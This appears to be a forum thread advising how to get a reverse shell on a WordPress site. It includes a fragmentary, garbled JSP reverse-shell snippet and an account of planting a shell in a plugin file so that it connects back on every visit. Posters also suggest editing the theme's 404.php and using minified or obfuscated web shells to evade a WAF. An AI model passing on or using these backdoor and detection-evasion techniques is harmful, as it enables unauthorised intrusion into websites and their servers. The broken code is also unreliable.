Is allow_URL_include enabled in PHP? Does it allow you to upload PHP files? Don't assume that someone must know a way. There may be a vulnerability in a plugin. Go after that.

These are rhetorical questions.

Know your protocols. FTP Secure is FTP over SSL. Secure FTP is FTP over SSH.

Also, maybe you could insert some JavaScript.

Code <%@

% >

static class StreamConnector extends Thread

InputStream is;

OutputStream os;

StreamConnector(InputStream is, OutputStream os)

 this.is = is;

 this.os = os;

}

```

        StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream());
        outputConnector.start();
        inputConnector.start();
    catch(Exception e)
}
%>

I mean, JS is supposed to be client-side, but it could be worth a try.

Changed plugins with file manager, huh? I don't understand how that has anything to do with WordPress, but nice work.

with file manager , you could edit code inside files so i chose a random plugins and add my rev shell and each time someone go to that link (wp-content/plugins/fb-reply/fb-reply.php) i get connection to my listener

You are in admin panel right? Possible chances there's a WAF blocking that rev shell code.

Try a minified webshell or obfuscated one.

Edit the theme 404.php page works no?

Put a simple web shell code. Then from the webshell execute reverse shell command to your server.

Don't paste rev shell code directly as this will trigger detection easier.
